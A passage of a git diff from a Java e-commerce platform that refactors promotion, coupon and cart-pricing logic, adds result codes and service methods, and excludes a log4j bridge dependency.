cn.lili.trigger.interfaces.TimeTrigger; import cn.lili.trigger.message.PintuanOrderMessage; -import cn.lili.trigger.message.PromotionMessage; import cn.lili.trigger.model.TimeExecuteConstant; -import cn.lili.trigger.model.TimeTriggerMsg; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; @@ -25,21 +19,6 @@ import org.springframework.stereotype.Component; @Slf4j @Component(TimeExecuteConstant.PROMOTION_EXECUTOR) public class PromotionTimeTriggerExecutor implements TimeTriggerExecutor { - /** - * 促销 - */ - @Autowired - private PromotionService promotionService; - /** - * RocketMQ - */ - @Autowired - private RocketmqCustomProperties rocketmqCustomProperties; - /** - * 延时任务 - */ - @Autowired - private TimeTrigger timeTrigger; /** * 订单 */ @@ -49,32 +28,6 @@ public class PromotionTimeTriggerExecutor implements TimeTriggerExecutor { @Override public void execute(Object object) { - PromotionMessage promotionMessage = JSONUtil.toBean(JSONUtil.parseObj(object), PromotionMessage.class); - //促销延时信息 - if (promotionMessage != null && promotionMessage.getPromotionId() != null) { - log.info("促销活动信息消费:{}", promotionMessage); - //如果为促销活动开始,则需要发布促销活动结束的定时任务 - if (PromotionStatusEnum.START.name().equals(promotionMessage.getPromotionStatus())) { - if (!promotionService.updatePromotionStatus(promotionMessage)) { - log.error("开始促销活动失败: {}", promotionMessage); - return; - } - //促销活动开始后,设置促销活动结束的定时任务 - promotionMessage.setPromotionStatus(PromotionStatusEnum.END.name()); - String uniqueKey = "{TIME_TRIGGER_" + promotionMessage.getPromotionType() + "}_" + promotionMessage.getPromotionId(); - if (promotionMessage.getEndTime() != null) { - //结束时间(延时一分钟) - long closeTime = promotionMessage.getEndTime().getTime() + 60000; - TimeTriggerMsg timeTriggerMsg = new TimeTriggerMsg(TimeExecuteConstant.PROMOTION_EXECUTOR, closeTime, promotionMessage, uniqueKey, rocketmqCustomProperties.getPromotionTopic()); - //添加延时任务 - timeTrigger.addDelay(timeTriggerMsg); - } - } else { - //不是开始,则修改活动状态 - promotionService.updatePromotionStatus(promotionMessage); - } - return; - } //拼团订单消息 PintuanOrderMessage pintuanOrderMessage = JSONUtil.toBean(JSONUtil.parseObj(object), PintuanOrderMessage.class); if (pintuanOrderMessage != null && pintuanOrderMessage.getPintuanId() != null) { diff --git a/framework/pom.xml b/framework/pom.xml index 170bd277..92c9f577 100644 --- a/framework/pom.xml +++ b/framework/pom.xml @@ -29,6 +29,12 @@ org.springframework.boot spring-boot-starter-web + + + log4j-to-slf4j + org.apache.logging.log4j + + org.springframework.boot diff --git a/framework/src/main/java/cn/lili/common/enums/ResultCode.java b/framework/src/main/java/cn/lili/common/enums/ResultCode.java index d08ca88f..af83e361 100644 --- a/framework/src/main/java/cn/lili/common/enums/ResultCode.java +++ b/framework/src/main/java/cn/lili/common/enums/ResultCode.java @@ -66,6 +66,7 @@ public enum ResultCode { GOODS_UPPER_ERROR(11004, "商品上架失败"), GOODS_AUTH_ERROR(11005, "商品审核失败"), POINT_GOODS_ERROR(11006, "积分商品业务异常,请稍后重试"), + POINT_GOODS_NOT_EXIST(11020, "积分商品不存在"), GOODS_SKU_SN_ERROR(11007, "商品SKU货号不能为空"), GOODS_SKU_PRICE_ERROR(11008, "商品SKU价格不能小于等于0"), GOODS_SKU_COST_ERROR(11009, "商品SKU成本价不能小于等于0"), @@ -247,6 +248,7 @@ public enum ResultCode { PROMOTION_START_TIME_ERROR(40002, "活动起始时间不能小于当前时间"), PROMOTION_END_TIME_ERROR(40003, "活动结束时间不能小于当前时间"), PROMOTION_TIME_ERROR(40004, "活动起始时间必须大于结束时间"), + PROMOTION_TIME_NOT_EXIST(40011, "活动起始时间和活动结束时间不能为空"), PROMOTION_SAME_ERROR(40005, "当前时间段已存在相同活动!"), PROMOTION_GOODS_ERROR(40006, "请选择要参与活动的商品"), PROMOTION_STATUS_END(40007, "当前活动已停止"), @@ -266,6 +268,11 @@ public enum ResultCode { COUPON_RECEIVE_ERROR(41005, "当前优惠券已经被领取完了,下次要早点来哦"), COUPON_NUM_INSUFFICIENT_ERROR(41006, "优惠券剩余领取数量不足"), COUPON_NOT_EXIST(41007, "当前优惠券不存在"), + COUPON_DO_NOT_RECEIVER(41030, "当前优惠券不允许主动领取"), + COUPON_ACTIVITY_NOT_EXIST(410022, "当前优惠券活动不存在"), + COUPON_SAVE_ERROR(41020, "保存优惠券失败"), + COUPON_ACTIVITY_SAVE_ERROR(41023, "保存优惠券活动失败"), + COUPON_DELETE_ERROR(41021, "删除优惠券失败"), COUPON_LIMIT_NUM_LESS_THAN_0(41008, "领取限制数量不能为负数"), COUPON_LIMIT_GREATER_THAN_PUBLISH(41009, "领取限制数量超出发行数量"), COUPON_DISCOUNT_ERROR(41010, "优惠券折扣必须小于10且大于0"), @@ -293,7 +300,8 @@ public enum ResultCode { PINTUAN_DELETE_ERROR(42010, "删除拼团活动失败"), PINTUAN_JOIN_ERROR(42011, "不能参与自己发起的拼团活动!"), PINTUAN_LIMIT_NUM_ERROR(42012, "购买数量超过拼团活动限制数量!"), - PINTUAN_NOT_EXIST_ERROR(42013, "当前拼团商品不存在!"), + PINTUAN_NOT_EXIST_ERROR(42013, "当前拼团活动不存在!"), + PINTUAN_GOODS_NOT_EXIST_ERROR(42014, "当前拼团商品不存在!"), /** * 满额活动 @@ -320,10 +328,12 @@ public enum ResultCode { */ SECKILL_NOT_START_ERROR(45000, "今日没有限时抢购活动,请明天再来看看吧。"), SECKILL_NOT_EXIST_ERROR(45001, "当前参与的秒杀活动不存在!"), + SECKILL_APPLY_NOT_EXIST_ERROR(45010, "当前参与的秒杀活动不存在!"), SECKILL_UPDATE_ERROR(45002, "当前秒杀活动活动已经开始,无法修改!"), SECKILL_PRICE_ERROR(45003, "活动价格不能大于商品原价"), SECKILL_TIME_ERROR(45004, "时刻参数异常"), SECKILL_DELETE_ERROR(45005, "该秒杀活动活动的状态不能删除"), + SECKILL_OPEN_ERROR(45010, "该秒杀活动活动的状态不能删除"), SECKILL_CLOSE_ERROR(45006, "该秒杀活动活动的状态不能关闭"), diff --git a/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java b/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java index f95b749d..36229fca 100644 --- a/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java +++ b/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java @@ -16,6 +16,7 @@ import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.data.elasticsearch.config.AbstractElasticsearchConfiguration; +import org.springframework.data.elasticsearch.core.ElasticsearchRestTemplate; import javax.annotation.PreDestroy; import java.io.IOException; @@ -68,6 +69,11 @@ public class ElasticsearchConfig extends AbstractElasticsearchConfiguration { return client; } + @Bean("elasticsearchRestTemplate") + public ElasticsearchRestTemplate elasticsearchRestTemplate() { + return new ElasticsearchRestTemplate(elasticsearchClient()); + } + private HttpHost[] getHttpHosts() { List clusterNodes = elasticsearchProperties.getClusterNodes(); HttpHost[] httpHosts = new HttpHost[clusterNodes.size()]; diff --git a/framework/src/main/java/cn/lili/modules/goods/service/GoodsSkuService.java b/framework/src/main/java/cn/lili/modules/goods/service/GoodsSkuService.java index 022e7917..085819e8 100644 --- a/framework/src/main/java/cn/lili/modules/goods/service/GoodsSkuService.java +++ b/framework/src/main/java/cn/lili/modules/goods/service/GoodsSkuService.java @@ -136,6 +136,14 @@ public interface GoodsSkuService extends IService { */ IPage getGoodsSkuByPage(GoodsSearchParams searchParams); + /** + * 列表查询商品sku信息 + * + * @param searchParams 查询参数 + * @return 商品sku信息 + */ + List getGoodsSkuByList(GoodsSearchParams searchParams); + /** * 更新商品sku状态 * @@ -186,4 +194,12 @@ public interface GoodsSkuService extends IService { * @param skuId SKUId */ void updateGoodsSkuCommentNum(String skuId); + + /** + * 更新商品sku促销价格 + * + * @param skuId skuId + * @param promotionPrice 促销价格 + */ + void updateGoodsSkuPromotion(String skuId, Double promotionPrice); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java index 08cb2a2d..63da4d2f 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java @@ -246,7 +246,7 @@ public class GoodsServiceImpl extends ServiceImpl implements if (CharSequenceUtil.isNotEmpty(goods.getParams())) { goodsVO.setGoodsParamsDTOList(JSONUtil.toList(goods.getParams(), GoodsParamsDTO.class)); } - + cache.put(CachePrefix.GOODS.getPrefix() + goodsId, goodsVO); return goodsVO; } diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java index b6c8fc5a..c4be6980 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java @@ -7,6 +7,7 @@ import cn.hutool.core.util.StrUtil; import cn.hutool.json.JSONObject; import cn.hutool.json.JSONUtil; import cn.lili.cache.Cache; +import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.properties.RocketmqCustomProperties; @@ -30,6 +31,7 @@ import cn.lili.modules.member.entity.dos.FootPrint; import cn.lili.modules.member.entity.dos.MemberEvaluation; import cn.lili.modules.member.entity.enums.EvaluationGradeEnum; import cn.lili.modules.member.service.MemberEvaluationService; +import cn.lili.modules.promotion.entity.enums.CouponGetEnum; import cn.lili.modules.search.entity.dos.EsGoodsAttribute; import cn.lili.modules.search.entity.dos.EsGoodsIndex; import cn.lili.modules.search.service.EsGoodsIndexService; @@ -253,10 +255,25 @@ public class GoodsSkuServiceImpl extends ServiceImpl i //商品规格 GoodsSkuVO goodsSkuDetail = this.getGoodsSkuVO(goodsSku); + Map promotionMap = goodsIndex.getPromotionMap(); //设置当前商品的促销价格 - if (goodsIndex.getPromotionMap() != null && !goodsIndex.getPromotionMap().isEmpty() && goodsIndex.getPromotionPrice() != null) { + if (promotionMap != null && !promotionMap.isEmpty() && goodsIndex.getPromotionPrice() != null) { goodsSkuDetail.setPromotionPrice(goodsIndex.getPromotionPrice()); } + if (promotionMap != null && !promotionMap.isEmpty()) { + promotionMap = promotionMap.entrySet().stream().parallel().filter(i -> { + JSONObject jsonObject = JSONUtil.parseObj(i.getValue()); + return (jsonObject.get("getType") == null || jsonObject.get("getType").toString().equals(CouponGetEnum.FREE.name())) && + (jsonObject.get("startTime") != null && jsonObject.get("startTime", Date.class).before(new Date())); + }).collect(Collectors.toMap(Map.Entry::getKey, Map.Entry::getValue)); + for (String s : promotionMap.keySet()) { + if (!s.contains(PromotionTypeEnum.SECKILL.name()) || !s.contains(PromotionTypeEnum.PINTUAN.name())) { + goodsSkuDetail.setPromotionPrice(null); + break; + } + } + + } map.put("data", goodsSkuDetail); //获取分类 @@ -265,10 +282,10 @@ public class GoodsSkuServiceImpl extends ServiceImpl i //获取规格信息 map.put("specs", this.groupBySkuAndSpec(goodsVO.getSkuList())); - map.put("promotionMap", goodsIndex.getPromotionMap()); + map.put("promotionMap", promotionMap); //获取参数信息 - if (goodsVO.getGoodsParamsDTOList() != null && goodsVO.getGoodsParamsDTOList().size() > 0) { + if (goodsVO.getGoodsParamsDTOList() != null && !goodsVO.getGoodsParamsDTOList().isEmpty()) { map.put("goodsParamsDTOList", goodsVO.getGoodsParamsDTOList()); } @@ -385,6 +402,17 @@ public class GoodsSkuServiceImpl extends ServiceImpl i return this.page(PageUtil.initPage(searchParams), searchParams.queryWrapper()); } + /** + * 列表查询商品sku信息 + * + * @param searchParams 查询参数 + * @return 商品sku信息 + */ + @Override + public List getGoodsSkuByList(GoodsSearchParams searchParams) { + return this.list(searchParams.queryWrapper()); + } + @Override public void updateStocks(List goodsSkuStockDTOS) { for (GoodsSkuStockDTO goodsSkuStockDTO : goodsSkuStockDTOS) { @@ -486,6 +514,22 @@ public class GoodsSkuServiceImpl extends ServiceImpl i goodsService.updateGoodsCommentNum(goodsSku.getGoodsId()); } + /** + * 更新商品sku促销价格 + * + * @param skuId skuId + * @param promotionPrice 促销价格 + */ + @Override + public void updateGoodsSkuPromotion(String skuId, Double promotionPrice) { + LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); + updateWrapper.eq(GoodsSku::getId, skuId); + updateWrapper.set(GoodsSku::getPromotionPrice, promotionPrice); + updateWrapper.set(GoodsSku::getIsPromotion, true); + this.update(updateWrapper); + cache.remove(GoodsSkuService.getCacheKeys(skuId)); + } + /** * 发送生成ES商品索引 * diff --git a/framework/src/main/java/cn/lili/modules/member/service/MemberService.java b/framework/src/main/java/cn/lili/modules/member/service/MemberService.java index f3f0d44a..c15178a7 100644 --- a/framework/src/main/java/cn/lili/modules/member/service/MemberService.java +++ b/framework/src/main/java/cn/lili/modules/member/service/MemberService.java @@ -16,6 +16,7 @@ import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; import java.util.List; +import java.util.Map; /** * 会员业务层 @@ -212,6 +213,15 @@ public interface MemberService extends IService { */ Integer getMemberNum(MemberSearchVO memberSearchVO); + /** + * 获取指定会员数据 + * + * @param columns 指定获取的列 + * @param memberIds 会员ids + * @return 指定会员数据 + */ + List> listFieldsByMemberIds(String columns, List memberIds); + /** * 登出 * diff --git a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java index 10d69d81..8936beae 100644 --- a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java @@ -59,6 +59,7 @@ import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import java.util.List; +import java.util.Map; import java.util.Objects; /** @@ -576,6 +577,20 @@ public class MemberServiceImpl extends ServiceImpl impleme return this.count(queryWrapper); } + /** + * 获取指定会员数据 + * + * @param columns 指定获取的列 + * @param memberIds 会员ids + * @return 指定会员数据 + */ + @Override + public List> listFieldsByMemberIds(String columns, List memberIds) { + return this.listMaps(new QueryWrapper() + .select(columns) + .in(memberIds != null && !memberIds.isEmpty(), "id", memberIds)); + } + /** * 登出 */ diff --git a/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/FullDiscountVO.java b/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/FullDiscountVO.java index 9c9d1e91..4a746a7d 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/FullDiscountVO.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/FullDiscountVO.java @@ -5,6 +5,8 @@ import cn.lili.modules.promotion.entity.dos.FullDiscount; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import lombok.Data; import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; +import org.springframework.beans.BeanUtils; import java.util.List; @@ -16,13 +18,16 @@ import java.util.List; */ @EqualsAndHashCode(callSuper = true) @Data +@NoArgsConstructor public class FullDiscountVO extends FullDiscount { private static final long serialVersionUID = -2330552735874105354L; + /** * 促销关联的商品 */ private List promotionGoodsList; + /** * 赠品信息 */ @@ -33,6 +38,10 @@ public class FullDiscountVO extends FullDiscount { */ private Integer number; + public FullDiscountVO(FullDiscount fullDiscount) { + BeanUtils.copyProperties(fullDiscount, this); + } + public String notice() { StringBuilder stringBuffer = new StringBuilder(); if (Boolean.TRUE.equals(this.getIsFullMinus())) { diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java index a6aa65b0..793abde5 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java @@ -80,14 +80,14 @@ public class CheckDataRender implements CartRenderStep { /** * 校验商品属性 * - * @param tradeDTO + * @param tradeDTO 购物车视图 */ private void checkData(TradeDTO tradeDTO) { //循环购物车中的商品 for (CartSkuVO cartSkuVO : tradeDTO.getSkuList()) { //如果失效,确认sku为未选中状态 - if (cartSkuVO.getInvalid()) { + if (Boolean.TRUE.equals(cartSkuVO.getInvalid())) { //设置购物车未选中 cartSkuVO.setChecked(false); } @@ -172,7 +172,7 @@ public class CheckDataRender implements CartRenderStep { //判断拼团商品的限购数量 Optional pintuanId = tradeDTO.getSkuList().get(0).getPromotions().stream().filter(i -> i.getPromotionType().equals(PromotionTypeEnum.PINTUAN.name())).map(PromotionGoods::getPromotionId).findFirst(); if (pintuanId.isPresent()) { - Pintuan pintuan = pintuanService.getPintuanById(pintuanId.get()); + Pintuan pintuan = pintuanService.getById(pintuanId.get()); Integer limitNum = pintuan.getLimitNum(); for (CartSkuVO cartSkuVO : tradeDTO.getSkuList()) { if (limitNum != 0 && cartSkuVO.getNum() > limitNum) { @@ -184,7 +184,7 @@ public class CheckDataRender implements CartRenderStep { } else if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.POINTS)) { String skuId = tradeDTO.getSkuList().get(0).getGoodsSku().getId(); //获取积分商品VO - PointsGoodsVO pointsGoodsVO = pointsGoodsService.getPointsGoodsVOByMongo(skuId); + PointsGoodsVO pointsGoodsVO = pointsGoodsService.getPointsGoodsDetailBySkuId(skuId); if (pointsGoodsVO == null) { throw new ServiceException(ResultCode.POINT_GOODS_ERROR); } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java index 21520c5b..a30f29ce 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java @@ -9,7 +9,7 @@ import cn.lili.modules.order.cart.entity.vo.CartSkuVO; import cn.lili.modules.order.cart.entity.vo.CartVO; import cn.lili.modules.order.cart.render.CartRenderStep; import cn.lili.modules.order.order.entity.dto.PriceDetailDTO; -import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO; +import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; import cn.lili.modules.promotion.service.KanjiaActivityGoodsService; import cn.lili.modules.promotion.service.PointsGoodsService; @@ -79,13 +79,13 @@ public class CommissionRender implements CartRenderStep { //如果积分订单 积分订单,单独操作订单结算金额和商家结算字段 if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.POINTS)) { - PointsGoodsVO pointsGoodsVO = pointsGoodsService.getPointsGoodsVOByMongo(cartSkuVO.getGoodsSku().getId()); + PointsGoodsVO pointsGoodsVO = pointsGoodsService.getPointsGoodsDetailBySkuId(cartSkuVO.getGoodsSku().getId()); priceDetailDTO.setSettlementPrice(pointsGoodsVO.getSettlementPrice()); } //如果砍价订单 计算金额,单独操作订单结算金额和商家结算字段 else if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.KANJIA)) { - KanjiaActivityGoodsDTO kanjiaActivityGoodsDTO = kanjiaActivityGoodsService.getKanJiaGoodsBySku(cartSkuVO.getGoodsSku().getId()); - priceDetailDTO.setSettlementPrice(kanjiaActivityGoodsDTO.getSettlementPrice()); + KanjiaActivityGoods kanjiaActivityGoods = kanjiaActivityGoodsService.getKanjiaGoodsBySkuId(cartSkuVO.getGoodsSku().getId()); + priceDetailDTO.setSettlementPrice(kanjiaActivityGoods.getSettlementPrice()); } } } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CouponRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CouponRender.java index ad833422..b37acdc7 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CouponRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CouponRender.java @@ -12,8 +12,8 @@ import cn.lili.modules.order.cart.render.CartRenderStep; import cn.lili.modules.order.cart.render.util.PromotionPriceUtil; import cn.lili.modules.order.order.entity.dto.PriceDetailDTO; import cn.lili.modules.promotion.entity.dos.MemberCoupon; -import cn.lili.modules.promotion.entity.enums.CouponScopeTypeEnum; import cn.lili.modules.promotion.entity.enums.CouponTypeEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.vos.MemberCouponVO; import cn.lili.modules.promotion.service.MemberCouponService; import org.springframework.beans.factory.annotation.Autowired; @@ -147,7 +147,7 @@ public class CouponRender implements CartRenderStep { return Collections.emptyList(); } //优惠券类型判定 - switch (CouponScopeTypeEnum.valueOf(memberCoupon.getScopeType())) { + switch (PromotionsScopeTypeEnum.valueOf(memberCoupon.getScopeType())) { case ALL: return filterSku; case PORTION_GOODS: diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java index 5feb58e9..e487b614 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java @@ -13,6 +13,7 @@ import cn.lili.modules.order.cart.render.CartRenderStep; import cn.lili.modules.order.cart.render.util.PromotionPriceUtil; import cn.lili.modules.order.order.entity.dto.PriceDetailDTO; import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.service.FullDiscountService; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; @@ -55,30 +56,30 @@ public class FullDiscountRender implements CartRenderStep { List storeIds = tradeDTO.getCartList().stream().map(CartVO::getStoreId).collect(Collectors.toList()); //获取当前店铺进行到满减活动 List fullDiscounts = fullDiscountService.currentPromotion(storeIds); - if (fullDiscounts == null || fullDiscounts.size() == 0) { + if (fullDiscounts == null || fullDiscounts.isEmpty()) { return; } //循环满减信息 for (FullDiscountVO fullDiscount : fullDiscounts) { //判定参与活动的商品 全品类参与或者部分商品参与,则进行云散 - if (fullDiscount.getNumber() == -1 || fullDiscount.getPromotionGoodsList() != null) { - //循环店铺购物车 - for (CartVO cart : cartList) { - //如果购物车中的店铺id与活动店铺id相等,则进行促销计算 - if (fullDiscount.getStoreId().equals(cart.getStoreId())) { + //循环店铺购物车 + for (CartVO cart : cartList) { + //如果购物车中的店铺id与活动店铺id相等,则进行促销计算 + if (fullDiscount.getStoreId().equals(cart.getStoreId())) { - //如果有赠品,则将赠品信息写入 - if (fullDiscount.getIsGift()) { - GoodsSku goodsSku = goodsSkuService.getGoodsSkuByIdFromCache(fullDiscount.getGiftId()); - fullDiscount.setGiftSku(goodsSku); - } + //如果有赠品,则将赠品信息写入 + if (Boolean.TRUE.equals(fullDiscount.getIsGift())) { + GoodsSku goodsSku = goodsSkuService.getGoodsSkuByIdFromCache(fullDiscount.getGiftId()); + fullDiscount.setGiftSku(goodsSku); + } - //写入满减活动 - cart.setFullDiscount(fullDiscount); - Map skuPriceDetail; - //参与活动的sku判定 - skuPriceDetail = initFullDiscountGoods(fullDiscount, cart.getCheckedSkuList()); + //写入满减活动 + cart.setFullDiscount(fullDiscount); + Map skuPriceDetail; + //参与活动的sku判定 + skuPriceDetail = initFullDiscountGoods(fullDiscount, cart.getCheckedSkuList()); + if (!skuPriceDetail.isEmpty()) { //记录参与满减活动的sku cart.setFullDiscountSkuIds(new ArrayList<>(skuPriceDetail.keySet())); @@ -87,11 +88,11 @@ public class FullDiscountRender implements CartRenderStep { if (isFull(countPrice, cart)) { //如果减现金 - if (fullDiscount.getIsFullMinus()) { + if (Boolean.TRUE.equals(fullDiscount.getIsFullMinus())) { promotionPriceUtil.recountPrice(tradeDTO, skuPriceDetail, fullDiscount.getFullMinus(), PromotionTypeEnum.FULL_DISCOUNT); } //打折 - else if (fullDiscount.getIsFullRate()) { + else if (Boolean.TRUE.equals(fullDiscount.getIsFullRate())) { this.renderFullRate(cart, skuPriceDetail, CurrencyUtil.div(fullDiscount.getFullRate(), 10)); } //渲染满优惠 @@ -100,6 +101,7 @@ public class FullDiscountRender implements CartRenderStep { } } + } } @@ -145,19 +147,17 @@ public class FullDiscountRender implements CartRenderStep { Map skuPriceDetail = new HashMap<>(16); //全品类参与 - if (fullDiscount.getNumber() == -1) { + if (PromotionsScopeTypeEnum.ALL.name().equals(fullDiscount.getScopeType())) { for (CartSkuVO cartSkuVO : cartSkuVOS) { skuPriceDetail.put(cartSkuVO.getGoodsSku().getId(), cartSkuVO.getPriceDetailDTO().getGoodsPrice()); } } else { - //判定参与活动的商品 - for (PromotionGoods promotionGoods : fullDiscount.getPromotionGoodsList()) { - //sku 集合判定 - for (CartSkuVO cartSkuVO : cartSkuVOS) { - // 如果参加满减,并且购物车选中状态 ,则记录商品sku - if (cartSkuVO.getChecked() && cartSkuVO.getGoodsSku().getId().equals(promotionGoods.getSkuId())) { - skuPriceDetail.put(cartSkuVO.getGoodsSku().getId(), cartSkuVO.getPriceDetailDTO().getGoodsPrice()); - } + List collect = fullDiscount.getPromotionGoodsList().stream().map(PromotionGoods::getSkuId).collect(Collectors.toList()); + //sku 集合判定 + for (CartSkuVO cartSkuVO : cartSkuVOS) { + // 如果参加满减,并且购物车选中状态 ,则记录商品sku + if (Boolean.TRUE.equals(cartSkuVO.getChecked()) && collect.contains(cartSkuVO.getGoodsSku().getId())) { + skuPriceDetail.put(cartSkuVO.getGoodsSku().getId(), cartSkuVO.getPriceDetailDTO().getGoodsPrice()); } } } @@ -173,17 +173,17 @@ public class FullDiscountRender implements CartRenderStep { //获取参与活动的商品总价 FullDiscountVO fullDiscount = cartVO.getFullDiscount(); - if (fullDiscount.getIsCoupon()) { + if (Boolean.TRUE.equals(fullDiscount.getIsCoupon())) { cartVO.getGiftCouponList().add(fullDiscount.getCouponId()); } - if (fullDiscount.getIsGift()) { + if (Boolean.TRUE.equals(fullDiscount.getIsGift())) { cartVO.setGiftList(Arrays.asList(fullDiscount.getGiftId().split(","))); } - if (fullDiscount.getIsPoint()) { + if (Boolean.TRUE.equals(fullDiscount.getIsPoint())) { cartVO.setGiftPoint(fullDiscount.getPoint()); } //如果满足,判定是否免邮,免邮的话需要渲染一边sku - if (fullDiscount.getIsFreeFreight()) { + if (Boolean.TRUE.equals(fullDiscount.getIsFreeFreight())) { for (CartSkuVO skuVO : cartVO.getCheckedSkuList()) { skuVO.setIsFreeFreight(true); } @@ -214,7 +214,7 @@ public class FullDiscountRender implements CartRenderStep { * @return 总价 */ private Double countPrice(Map skuPriceMap) { - Double count = 0d; + double count = 0d; for (Double price : skuPriceMap.values()) { count = CurrencyUtil.add(count, price); diff --git a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java index d7ff3fc1..9354cf6b 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java @@ -25,14 +25,10 @@ import cn.lili.modules.order.cart.entity.vo.TradeParams; import cn.lili.modules.order.cart.render.TradeBuilder; import cn.lili.modules.order.order.entity.dos.Trade; import cn.lili.modules.order.order.entity.vo.ReceiptVO; -import cn.lili.modules.promotion.entity.dos.KanjiaActivity; -import cn.lili.modules.promotion.entity.dos.MemberCoupon; -import cn.lili.modules.promotion.entity.dos.Pintuan; -import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO; -import cn.lili.modules.promotion.entity.enums.CouponScopeTypeEnum; +import cn.lili.modules.promotion.entity.dos.*; import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum; import cn.lili.modules.promotion.entity.enums.MemberCouponStatusEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivitySearchParams; import cn.lili.modules.promotion.service.*; @@ -123,6 +119,11 @@ public class CartServiceImpl implements CartService { } CartTypeEnum cartTypeEnum = getCartType(cartType); GoodsSku dataSku = checkGoods(skuId); + Double validPromotionsGoodsPrice = promotionGoodsService.getValidPromotionsGoodsPrice(skuId, Arrays.asList(PromotionTypeEnum.SECKILL.name(), PromotionTypeEnum.PINTUAN.name())); + if (validPromotionsGoodsPrice != null) { + dataSku.setIsPromotion(true); + dataSku.setPromotionPrice(validPromotionsGoodsPrice); + } try { //购物车方式购买需要保存之前的选择,其他方式购买,则直接抹除掉之前的记录 TradeDTO tradeDTO; @@ -636,15 +637,15 @@ public class CartServiceImpl implements CartService { } //当初购物车商品中是否存在符合优惠券条件的商品sku - if (memberCoupon.getScopeType().equals(CouponScopeTypeEnum.ALL.name())) { + if (memberCoupon.getScopeType().equals(PromotionsScopeTypeEnum.ALL.name())) { return cartSkuVOS; - } else if (memberCoupon.getScopeType().equals(CouponScopeTypeEnum.PORTION_GOODS_CATEGORY.name())) { + } else if (memberCoupon.getScopeType().equals(PromotionsScopeTypeEnum.PORTION_GOODS_CATEGORY.name())) { //分类路径是否包含 return cartSkuVOS.stream().filter(i -> i.getGoodsSku().getCategoryPath().indexOf("," + memberCoupon.getScopeId() + ",") <= 0).collect(Collectors.toList()); - } else if 